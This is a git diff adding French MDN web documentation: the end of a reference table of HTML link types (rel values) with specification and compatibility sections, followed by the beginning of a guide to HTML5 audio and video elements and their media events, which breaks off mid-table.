+    <ul>
+     <li>Si l'élément est un élément {{HTMLElement("link")}} et que l'attribut {{htmlattrxref("rel", "link")}} contient le type <code>stylesheet</code>, ce lien définit <a href="/fr/docs/Web/CSS/Feuilles_de_style_alternatives">une feuille de style alternative</a>. Dans ce cas, l'attribut {{htmlattrxref("title", "link")}} doit être présent et ne doit pas être la chaîne de caractères vide.</li>
+     <li>Si l'attribut {{htmlattrxref("type","link")}} vaut <code>application/rss+xml</code> ou <code>application/atom+xml</code>, le lien définit <a href="/fr/docs/Web/RSS/Premiers_pas/Syndication">un flux de syndication</a>. Le premier flux définit sur la page est le flux par défaut.</li>
+     <li>Sinon, le lien définit une page alternative, il peut s'agir :
+      <ul>
+       <li>Si l'attribut {{htmlattrxref("media","link")}} est défini, d'une page destinée à un autre support (par exemple une tablette)</li>
+       <li>D'une page dans une autre langue si l'attribut {{htmlattrxref("hreflang","link")}} est défini,</li>
+       <li>D'une page dans un autre format (par exemple PDF) si l'attribut {{htmlattrxref("type","link")}} est défini,</li>
+       <li>D'une combinaison de ces documents.</li>
+      </ul>
+     </li>
+    </ul>
+   </td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("form")}}</td>
+  </tr>
+  <tr>
+   <td><code>archives</code> {{obsolete_inline}}</td>
+   <td>Ce type définit un hyperlien vers un document qui contient un lien d'archive vers le document courant. Un billet de blog pourrait ainsi créer un lien vers un index qui liste les articles publiés pendant ce mois.<br>
+    <br>
+    <strong>Note :</strong> Bien que la forme <code>archive</code> (au singulier) soit reconnue, elle est incorrecte et doit être évitée.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("form")}}</td>
+  </tr>
+  <tr>
+   <td><code>author</code></td>
+   <td>Ce type définit un hyperlien vers une page qui décrit l'auteur ou qui fournit un moyen de contacter l'auteur du document.<br>
+    <br>
+    <strong>Note :</strong> Ce lien peut être un lien <code>mailto:</code> bien que ce ne soit pas recommandé afin d'éviter la collecte de l'adresse électronique (mieux vaut avoir un formulaire de contact).<br>
+    <br>
+    Bien que l'attribut {{htmlattrxref("rev", "link")}} soit reconnu pour les éléments {{HTMLElement("a")}}, {{HTMLElement("area")}} et {{HTMLElement("link")}}, il ne faut pas utiliser cet attribut avec un type de lien « <code>made</code> » mais plutôt utiliser {{htmlattrxref("rel", "link")}} avec ce type de lien (« <code>author</code> »).</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("form")}}</td>
+  </tr>
+  <tr>
+   <td><code>bookmark</code></td>
+   <td>Ce type de lien indique l'hyperlien est <a href="https://fr.wikipedia.org/wiki/Permalien">un permalien</a> pour l'élément {{HTMLElement("article")}} qui est l'ancêtre le plus proche. S'il n'y en a aucun, c'est un permalien pour <a href="/fr/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document">la section</a> la plus proche de l'élément courant.<br>
+    <br>
+    Ce type de lien permet de placer un marque-page pour un seul article d'une page qui contient plusieurs articles (par exemple un agrégateur).</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+   <td>{{HTMLElement("link")}}, {{HTMLElement("form")}}</td>
+  </tr>
+  <tr>
+   <td><code>canonical</code></td>
+   <td>Un lien canonique est un élément HTML qui aide les webmasters à ne pas dupliquer du contenu en indiquant la version <em>canonique</em> ou <em>préférée</em> de la page pour l'optimisation à destination des moteurs de recherche.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}</td>
+  </tr>
+  <tr>
+   <td><code>dns-prefetch</code> {{experimental_inline}}</td>
+   <td>Ce type de lien indique au navigateur qu'une ressource est nécessaire et permet au navigateur d'effectuer une requête DNS et un établissement de connexion avant que l'utilisateur clique sur le lien.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}</td>
+  </tr>
+  <tr>
+   <td><code>external</code></td>
+   <td>Ce type de lien indique que l'hyperlien mène vers une ressource située à l'extérieur du site sur lequel se trouve la page courante. Autrement dit, en suivant ce lien, l'utilisateur quitte le site qu'il visite.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}</td>
+   <td>{{HTMLElement("link")}}</td>
+  </tr>
+  <tr>
+   <td><code>first</code> {{obsolete_inline}}</td>
+   <td>Ce type indique que l'hyperlien mène à la première ressource dans la série de ressources à laquelle appartient la page actuelle.<br>
+    <br>
+    <strong>Note :</strong> les autres types de lien permettant une navigation séquentielle sont : <code>last</code>, <code>prev</code>, <code>next</code> (pour respectivement la dernière, la précédente et la suivante).<br>
+    <br>
+    Bien que les synonymems <code>begin</code> et <code>start</code> puissent être reconnus, ils sont incorrects et devraient être évités.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("form")}}</td>
+  </tr>
+  <tr>
+   <td><code>help</code></td>
+   <td>
+    <ul>
+     <li>Si l'élément est un élément {{HTMLElement("a")}} ou {{HTMLElement("area")}}, ce type indique que l'hyperlien mène vers une ressource contenant de l'aide sur l'utilisation de l'élément parent du lien et de ses descendants.</li>
+     <li>Si l'élément est un élément {{HTMLElement("link")}}, ce type indique que l'hyperlien mène vers une ressource fournissant une aide à propos de la page entière.</li>
+    </ul>
+   </td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}, {{HTMLElement("link")}}</td>
+   <td><em>Aucun</em>.</td>
+  </tr>
+  <tr>
+   <td><code>icon</code></td>
+   <td>Ce type définit une ressource qui représente la page dans l'interface utilisateur. C'est généralement une icône (visuelle ou auditive).<br>
+    <br>
+    Les attributs {{htmlattrxref("media","link")}}, {{htmlattrxref("type","link")}} et {{htmlattrxref("sizes","link")}} permettent au navigateur de choisir l'icône la plus appropriée au contexte. Si plusieurs ressources sont équivalentes, le navigateur sélectionnera celle qui est déclarée en dernière, dans l'ordre des éléments de l'arbre du document. Ces attributs ne sont que des indications et les ressources associées peuvent ne pas correspondre, auquel cas, le navigateur en sélectionnera une autre s'il en existe une adéquate.<br>
+    <br>
+    <strong>Note :</strong> sur iOS, ce type de lien n'est pas utilisé, à la place, ce sont les relations ({{htmlattrxref("rel","link")}}) <code><a href="https://developer.apple.com/library/content/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html#//apple_ref/doc/uid/TP40002051-CH3-SW4">apple-touch-icon</a></code> et <code><a href="https://developer.apple.com/library/content/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html#//apple_ref/doc/uid/TP40002051-CH3-SW6">apple-touch-startup-image</a></code> qui sont utilisées.<br>
+    <br>
+    Le type de lien <code>shortcut</code> est souvent vu avant <code>icon</code> mais il n'est pas conforme et les navigateurs l'ignorent, c'est pourquoi il ne doit plus être utilisé.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}</td>
+  </tr>
+  <tr>
+   <td><code>import</code>{{experimental_inline}}</td>
+   <td>Imports de ressource en HTML</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}</td>
+  </tr>
+  <tr>
+   <td><code>index</code> {{obsolete_inline}}</td>
+   <td>Ce type indique que la page fait partie d'une structure hiérarchique et que l'hyperlien renvoie au niveau le plus haut de cette structure.<br>
+    <br>
+    Si un ou plusieurs liens de type <code>up</code> sont présent, la quantité de ces liens indique la profondeur de la page courante au sein de la hiérarchie.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("form")}}</td>
+  </tr>
+  <tr>
+   <td><code>last</code> {{obsolete_inline}}</td>
+   <td>
+    <p>Ce type indique que l'hyperlien mène à la dernière ressource dans la série de ressources à laquelle appartient la page actuelle.<br>
+     <br>
+     <strong>Note :</strong> les autres types de lien permettant une navigation séquentielle sont : <code>first</code>, <code>prev</code>, <code>next</code> (pour respectivement la première, la précédente et la suivante).</p>
+
+    <p>Bien que le synonyme <code>end</code> puisse être reconnu, il est incorrect et doit être évité.</p>
+   </td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>Aucun</em>.</td>
+  </tr>
+  <tr>
+   <td><code>license</code></td>
+   <td>Ce type de lien mène vers un document contenant des informations relatives à la licence appliquée au contenu. Si le lien n'est pas dans l'élément {{HTMLElement("head")}}, le standard n'indique pas que la licence doit s'appliquer à tout ou partie du document, seules les données de la page permettent de le savoir.<br>
+    <br>
+    <strong>Note :</strong> bien qu'il puisse être reconnu, le synonyme <code>copyright</code> est incorrect et doit être évité.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}, {{HTMLElement("link")}}</td>
+   <td><em>Aucun</em>.</td>
+  </tr>
+  <tr>
+   <td><code>manifest</code></td>
+   <td>Ce type de lien indique que la ressource liée est <a href="/fr/docs/Web/Manifest">un manifeste d'application web</a>.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}</td>
+  </tr>
+  <tr>
+   <td><code>modulepreload</code></td>
+   <td>Initialise le chargement anticipé (et prioritaire) des modules de scripts</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>next</code></td>
+   <td>Ce type indique que l'hyperlien mène à la prochaine ressource dans la série de ressources à laquelle appartient la page actuelle.<br>
+    <br>
+    <strong>Note :</strong> les autres types de lien permettant une navigation séquentielle sont : <code>first</code>, <code>prev</code>, <code>last</code> (pour respectivement la première, la précédente et la dernière).</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}, {{HTMLElement("link")}}</td>
+   <td><em>Aucun</em>.</td>
+  </tr>
+  <tr>
+   <td><code>nofollow</code></td>
+   <td>Ce type de lien indique que le document lié n'est pas approuvé par l'auteur du document actuel, par exemple s'il n'a aucun contrôle envers le document lié ou si le document est un mauvais exemple ou encore s'il existe une relation commerciale (le lien a été vendu). Ce type de lien peut être utilisé par certains moteurs de recherche qui utilise des classements selon la popularité des documents.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}</td>
+   <td>{{HTMLElement("link")}}</td>
+  </tr>
+  <tr>
+   <td><code>noopener</code></td>
+   <td>
+    <p>Ce type de lien indique au navigateur d'ouvrir le lien sans que le nouveau contexte de navigation créé ait accès au document qui contenait le lien (techniquement la propriété {{domxref("Window.opener")}} renverra <code>null</code>).<br>
+     <br>
+     Ce type est particulièrement utile lorsqu'on ouvre un lien pour lequel on ne veut pas qu'il puisse interagir avec le document source (voir également l'article <em><a href="https://mathiasbynens.github.io/rel-noopener/">About <code>rel=noopener</code></a></em> pour plus de détails) tout en fournissant un référent via l'en-tête HTTP (à moins que <code>noreferrer</code> n'y soit également utilisé).</p>
+
+    <p>Lorsque <code>noopener</code> est utilisé, les noms utilisés pour l'attribut <code>target</code>, qui ne sont pas vides et qui ne sont pas <code>_top</code>, <code>_self</code> ou <code>_parent</code> sont alors traités comme s'ils étaient synonymes de <code>_blank</code> lorsqu'il s'agit de décider d'ouvrir une nouvelle fenêtre ou un nouvel onglet.</p>
+   </td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}</td>
+   <td>{{HTMLElement("link")}}</td>
+  </tr>
+  <tr>
+   <td><code>noreferrer</code></td>
+   <td>
+    <p>Ce type de lien empêche le navigateur, lorsqu'on navigue vers une autre page, que le l'adresse de la page ou toute autre valeur soit fournie via l'en-tête HTTP {{HTTPHeader("Referer")}}.<br>
+     (Dans Firefox, avant Firefox 37, ce type ne fonctionnait que pour les liens sur lesquels on cliquait directement, lorsqu'on utilisait un menu « Ouvrir dans un nouvel onglet », ce type était ignoré.</p>
+   </td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}</td>
+   <td>{{HTMLElement("link")}}</td>
+  </tr>
+  <tr>
+   <td><code>opener</code> {{experimental_inline}} {{non-standard_inline}}</td>
+   <td>Annule l'effet de l'ajout implicite de  <code>rel="noopener"</code> sur les liens qui possèdent explicitement <code>target="_blank"</code> (voir <a href="https://github.com/whatwg/html/issues/4078">la discussion sur les spécifications HTML</a>, <a href="https://trac.webkit.org/changeset/237144/webkit/">la modification WebKit change</a> et <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1503681">la discussion sur le bug Firefox correspondant</a>).</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}</td>
+   <td>{{HTMLElement("link")}}</td>
+  </tr>
+  <tr>
+   <td><code>pingback</code></td>
+   <td>Ce type définit une URI vers une ressource externee qui doit être appelée si quelqu'un ajoute un commentaire ou une citation à propos de la page web courant. Le protocole pour un tel appel est défini dans la spécification <a href="https://www.hixie.ch/specs/pingback/pingback">Pingback 1.0</a>.<br>
+    <br>
+    <strong>Note :</strong> si l'en-tête HTTP {{HTTPHeader("X-Pingback")}} est également présent, celui-ci aura la prioriété sur l'élément {{HTMLElement("link")}} avec ce type de lien.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}</td>
+  </tr>
+  <tr>
+   <td><code>preconnect</code> {{experimental_inline}}</td>
+   <td>Ce type de lien suggère au navigateur d'ouvrir une connexion vers le site web visé de façon anticipée, sans diffuser d'information privée et sans télécharger de contenu. Il est utilisé afin de pouvoir récupérer le contenu lié plus rapidement.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}</td>
+  </tr>
+  <tr>
+   <td><code>prefetch</code></td>
+   <td>Ce type de lien suggère au navigateur de récupérer la ressource liée de façon anticipée phase car il est probable que l'utilisateur la demande. À partir de Firefox 44, la valeur de l'attribut {{htmlattrxref("crossorigin", "link")}} est prise en compte, ce qui permet d'effectuer des récupérations anticipées anonymes.<br>
+    <br>
+    <strong>Note :</strong> <a href="/fr/docs/FAQ_sur_le_préchargement_des_liens">la FAQ sur <code>prefetch</code></a> explique quels liens peuvent être récupérés de façon anticipée et quelles peuvent être les méthodes alternatives.</td>
+   <td>{{HTMLElement("a")}} {{unimplemented_inline}},<br>
+    {{HTMLElement("area")}} {{unimplemented_inline}},<br>
+    {{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("form")}}</td>
+  </tr>
+  <tr>
+   <td><code>preload</code></td>
+   <td>
+    <p>Ce type de lien indique au navigateur de précharger une ressource car celle-ci sera nécessaire par la suite lors de la navigation.</p>
+
+    <p>Voir l'article <a href="/fr/docs/Web/HTML/Précharger_du_contenu">Précharger du contenu grâce à <code>rel="preload"</code></a> pour plus d'informations.</p>
+   </td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}</td>
+  </tr>
+  <tr>
+   <td><code>prerender</code> {{experimental_inline}}</td>
+   <td>Ce type de lien suggère au navigateur de récupérer la ressource liée en avance et de préparer son rendu hors de l'écran afin qu'elle puisse être présentée rapidement à l'utilisateur lorsqu'elle sera nécessaire.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}</td>
+  </tr>
+  <tr>
+   <td><code>prev</code></td>
+   <td>Ce type indique que l'hyperlien mène à la ressource précédente dans la série de ressources à laquelle appartient la page actuelle.<br>
+    <br>
+    <strong>Note :</strong> les autres types de lien permettant une navigation séquentielle sont : <code>first</code>, next, <code>last</code> (pour respectivement la première, la suivante et la dernière).<br>
+    <br>
+    Bien que la valeur <code>previous</code> soit reconnue comme synonyme, elle est incorrecte et ne doit pas être utilisée.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}, {{HTMLElement("form")}}</td>
+   <td><em>Aucun</em>.</td>
+  </tr>
+  <tr>
+   <td><code>search</code></td>
+   <td>Ce type de lien indique que l'hyperlien cible un document dont l'interface est destinée à la recherche sur ce document, sur ce site ou sur les ressources associées.<br>
+    <br>
+    Si l'attribut {{htmlattrxref("type","link")}} vaut <code>application/opensearchdescription+xml</code>, la ressource est <a href="/fr/Add-ons/Creating_OpenSearch_plugins_for_Firefox">un plugin OpenSearch</a> qui peut facilement être ajouté à l'interface de certains navigateurs comme Firefox ou Internet Explorer.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}, {{HTMLElement("form")}}</td>
+   <td><em>Aucun</em>.</td>
+  </tr>
+  <tr>
+   <td><code>sidebar</code> {{non-standard_inline}}</td>
+   <td>Ce type indique que l'hyperlien mène vers une ressource qui serait plus pertinente au sein d'un contexte de navigation secondaire tel qu'une barre latérale. Les navigateurs qui ne possèdent pas de tel contexte ignoreront ce mot-clé.<br>
+    <br>
+    Bien que ce type de lien ait fait partie de la spécification HTML, il a été retiré de la spécification et est uniquement implémenté par Firefox pour les versions antérieures à Firefox 63.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("form")}}</td>
+  </tr>
+  <tr>
+   <td><code>stylesheet</code></td>
+   <td>Ce type de lien définit une ressource externe qui doit être utilisée comme une feuille de style. Si le type de la ressource n'est pas défini, le navigateur considèrera que c'est une feuille de style <code>text/css</code>.<br>
+    <br>
+    Utilisé avec le mot-clé <code>alternate</code>, il permet de définir <a href="/fr/docs/Web/CSS/Feuilles_de_style_alternatives">une feuille de style alternative</a> auquel cas l'atttribut {{htmlattrxref("title", "link")}} doit être présent et ne doit pas être la chaîne vide.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}</td>
+  </tr>
+  <tr>
+   <td><code>tag</code></td>
+   <td>Ce type indique que l'hyperlien fait référence à un document qui décrit l'étiquette (le <em>tag</em>) appliquée à ce document.<br>
+    <br>
+    <strong>Note :</strong> ce type de lien ne doit pas être utilisé pour renvoyer vers un nuage de <em>tags</em> car ce dernier concerne un ensemble de pages et pas uniquement le document courant.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+   <td>{{HTMLElement("link")}}, {{HTMLElement("form")}}</td>
+  </tr>
+  <tr>
+   <td><code>up</code> {{obsolete_inline}}</td>
+   <td>Ce type de lien indique que la page fait partie d'une structure hiérarchique et que l'hyperlien mène vers une ressource située au niveau supérieur de cette structure.<br>
+    <br>
+    Le nombre de <code>up</code> indique la différence de profondeur dans la hiérarchie entre la page courante et la page associée.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("form")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Preload','#x2.link-type-preload','preload')}}</td>
+   <td>{{Spec2('Preload')}}</td>
+   <td>Ajout du type <code>preload</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Resource Hints', '#dfn-preconnect', 'preconnect')}}</td>
+   <td>{{Spec2('Resource Hints')}}</td>
+   <td>Ajout des types <code>dns-prefetch</code>, <code>preconnect</code> et <code>prerender</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "links.html#linkTypes", "link types")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Ajout de <code>opener</code>. <code>noopener</code> devient le comportement par défaut pour les liens avec <code>target="_blank"</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "links.html#linkTypes", "link types")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Ajout de <code>tag</code>, <code>search</code>, <code>prefetch</code>, <code>noreferrer</code>, <code>nofollow</code>, <code>icon</code> et <code>author</code>.<br>
+    Renommage de <code>copyright</code> en <code>license</code>.<br>
+    Suppression de <code>start</code>, <code>chapter</code>, <code>section</code>, <code>subsection</code> et <code>appendix</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML4.01", "types.html#type-links", "link types")}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Ajout de <code>alternate</code>, <code>stylesheet</code>, <code>start</code>, <code>chapter</code>, <code>section</code>, <code>subsection</code>, <code>appendix</code> et <code>bookmark</code>.<br>
+    Renomme <code>previous</code> en <code>prev</code>.<br>
+    Suppression de <code>top</code> et <code>search</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML3.2", "#link", "&lt;link&gt;")}}</td>
+   <td>Obsolète</td>
+   <td>Ajout de <code>top</code>, <code>contents</code>, <code>index</code>, <code>glossary</code>, <code>copyright</code>, <code>next</code>, <code>previous</code>, <code>help</code> et <code>search</code>.</td>
+  </tr>
+  <tr>
+   <td>{{RFC(1866, "HTML 2.0")}}</td>
+   <td>Obsolète</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.link.rel")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("link")}}</li>
+ <li>{{HTMLElement("a")}}</li>
+ <li>{{HTMLElement("area")}}</li>
+</ul>
diff --git a/files/fr/web/html/utilisation_d'audio_et_video_en_html5/index.html b/files/fr/web/html/utilisation_d'audio_et_video_en_html5/index.html
new file mode 100644
index 0000000000..5d9210f67c
--- /dev/null
+++ b/files/fr/web/html/utilisation_d'audio_et_video_en_html5/index.html
@@ -0,0 +1,244 @@
+---
+title: Utilisation d'audio et video en HTML5
+slug: Web/HTML/Utilisation_d'audio_et_video_en_HTML5
+tags:
+  - Aperçu
+  - Featured
+  - Guide
+  - HTML
+  - HTML5
+  - Media
+  - Web
+translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
+---
+<p>{{ gecko_minversion_header("1.9.1") }}</p>
+
+<p>La gestion des éléments HTML 5 <a class="internal" href="/fr/HTML/Element/Audio" title="fr/HTML/Element/Audio"><code>audio</code></a> et <a class="internal" href="/Fr/HTML/Element/Video" title="fr/HTML/Element/Video"><code>video</code></a> a été introduite dans Firefox 3.5, ce qui permet d'intégrer facilement des médias dans des documents HTML. Actuellement, les formats de média Ogg Theora, Ogg Vorbis et WAV sont gérés.</p>
+
+<h2 id="Intégration_de_médias">Intégration de médias</h2>
+
+<p>Il est trivial d'intégrer des médias dans vos documents HTML :</p>
+
+<pre class="brush: html">&lt;video src="http://v2v.cc/~j/theora_testsuite/320x240.ogg" controls&gt;
+  Votre navigateur ne gère pas l'élément &lt;code&gt;video&lt;/code&gt;.
+&lt;/video&gt;
+</pre>
+
+<p>Cet exemple jouera une vidéo exemple du site web de Theora.</p>
+
+<p>Plusieurs fichiers sources peuvent être référencés à l'aide de l'élément <a class="internal" href="/fr/HTML/Element/Source" title="fr/HTML/Element/Source"><code>source</code></a> afin de fournir des vidéos/extraits audio encodés dans différents formats pour différents navigateurs. Par exemple,</p>
+
+<pre class="brush: html">&lt;video controls&gt;
+  &lt;source src="foo.ogg" type="video/ogg"&gt;
+  &lt;source src="foo.mp4"&gt;
+  Votre navigateur ne gère pas l'élément &lt;code&gt;video&lt;/code&gt;.
+&lt;/video&gt;
+</pre>
+
+<p>jouera le fichier Ogg dans les navigateurs gérant ce format. Si ce n'est pas le cas, il essaiera de jouer le fichier MPEG-4.</p>
+
+<p>Il est également possible d'indiquer les codecs dont le fichier média a besoin ; cela permet au navigateur de prendre de meilleurs décisions :</p>
+
+<pre class="brush: html">&lt;video controls&gt;
+  &lt;source src="foo.ogg" type="video/ogg; codecs=&amp;quot;dirac, speex&amp;quot;"&gt;
+  Votre navigateur ne gère pas l'élément &lt;code&gt;video&lt;/code&gt;.
+&lt;/video&gt;</pre>
+
+<p>Ici, on indique que la vidéo utilise les codecs Dirac et Speex. Si le navigateur gère les médias Ogg, mais pas les codecs spécifiés, la vidéo ne se chargera pas.</p>
+
+<p>Si l'attribut <code>type</code> n'est pas spécifié le type du média est récupéré depuis le serveur et vérifié pour voir s'il est géré par Gecko ; s'il n'est pas utilisable, l'élément <code>source</code> suivant est vérifié. Si aucun des éléments <code>source</code> ne peut être utilisé, un évènement <code>error</code> est transmis à l'élément <code>video</code>. Si l'attribut <code>type</code> est spécifié, il est comparé avec ceux qui peuvent être joués ; s'il n'est pas reconnu, le serveur n'est même pas interrogé, et on passe directement à la vérification de l'élément <code>source</code> suivant.</p>
+
+<p> </p>
+
+<h2 id="Contrôle_de_la_lecture">Contrôle de la lecture</h2>
+
+<p>Une fois le média intégré dans votre document HTML à l'aide de ces nouveaux éléments, vous pouvez les contrôler programmatiquement depuis du code JavaScript. Par exemple, pour démarrer (ou redémarrer) la lecture, vous pouvez faire ceci :</p>
+
+<pre class="brush: js">var v = document.getElementsByTagName("video")[0];
+v.play();
+</pre>
+
+<p>La première ligne récupère le premier élément video dans le document, et la seconde appelle la méthode <a class="external" href="/fr/NsIDOMHTMLMediaElement#play()" title="https://developer.mozilla.org/editor/fckeditor/core/editor/fr/NsIDOMHTMLMediaElement#play()"><code>play()</code></a> de l'élément, telle que définie dans l'interface {{ interface("nsIDOMHTMLMediaElement") }} utilisée pour implémenter les éléments de médias.</p>
+
+<h2 id="Évènements_des_médias">Évènements des médias</h2>
+
+<p>Différents évènements sont envoyés lors du traitement de médias :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Nom de l'évènement</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>abort</code></td>
+   <td>Envoyé lorsque la lecture est annulée ; par exemple il sera envoyé si le média est en cours de lecture et redémarré depuis le début.</td>
+  </tr>
+  <tr>
+   <td><code>canplay</code></td>
+   <td>Envoyé lorsque suffisamment de données sont disponibles pour débuter la lecture du média, au moins pour quelques premières images. Il correspond à la valeur <code>CAN_PLAY</code> de <code>readyState</code>.</td>
+  </tr>
+  <tr>
+   <td><code>canplaythrough</code></td>
+   <td>Envoyé lorsque l'état devient <code>CAN_PLAY_THROUGH</code>, ce qui indique que le média peut être entièrement lu sans interruption, en supposant que la vitesse de téléchargement reste au niveau actuel.</td>
+  </tr>
+  <tr>
+   <td><code>canshowcurrentframe</code></td>
+   <td>L'image courante est chargée et peut être présentée. Ceci correspond à la valeur <code>CAN_SHOW_CURRENT_FRAME</code> de <code>readyState</code>.</td>
+  </tr>
+  <tr>
+   <td><code>dataunavailable</code></td>
+   <td>Envoyé lorsque l'état devient <code>DATA_UNAVAILABLE</code>.</td>
+  </tr>
+  <tr>
+   <td><code>durationchange</code></td>
+   <td>Les métadonnées ont été chargées ou modifiées, ce qui indique un changement dans la durée du média. Sera par exemple envoyé lorsque le média est suffisamment chargé pour que sa durée soit connue.</td>
+  </tr>
+  <tr>
+   <td><code>emptied</code></td>
+   <td>Le média est devenu vide ; par exemple si le média est déjà chargé (ou partiellement chargé) et qu'on appelle la méthode <a class="internal" href="/fr/nsIDOMMediaHTMLElement#load()" title="fr/nsIDOMMediaHTMLElement#load()"><code>load()</code></a> pour le recharger.</td>
+  </tr>
+  <tr>
+   <td><code>empty</code></td>
+   <td>Envoyé lorsqu'une erreur survient et que le média est vide.</td>
+  </tr>
+  <tr>
+   <td><code>ended</code></td>
+   <td>Envoyé lorsque la lecture se termine.</td>
+  </tr>
+  <tr>
+   <td><code>error</code></td>
+   <td>Envoyé lorsqu'une erreur se produit. L'attribut <code>error</code> de l'élément contient plus d'informations.</td>
+  </tr>
+  <tr>
+   <td><code>loadedfirstframe</code></td>
+   <td>La première image du média a été chargée.</td>
+  </tr>
+  <tr>
+   <td><code>loadedmetadata</code></td>
+   <td>Les métadonnées du média ont été chargées ; tous les attributs contiennent autant d'informations que possible.</td>
+  </tr>
+  <tr>
+   <td><code>loadstart</code></td>
+   <td>Envoyé lorsque le chargement du média débute.</td>
+  </tr>
+  <tr>
+   <td><code>pause</code></td>
+   <td>Envoyé lorsque la lecture est interrompue.</td>
+  </tr>
+  <tr>
+   <td><code>play</code></td>
+   <td>Envoyé lorsque la lecture débute ou reprend.</td>
+  </tr>
+  <tr>
+   <td><code>progress</code></td>
+   <td>
+    <p>Envoyé périodiquement pour informer les parties intéressées de la progression du téléchargement du média. L'évènement progress dispose de trois attributs :</p>
+
+    <dl>
+     <dt><code>lengthComputable</code></dt>
+     <dd>vaut <code>true</code> si la taille totale du média est connue, <code>false</code> sinon.</dd>
+     <dt><code>loaded</code></dt>
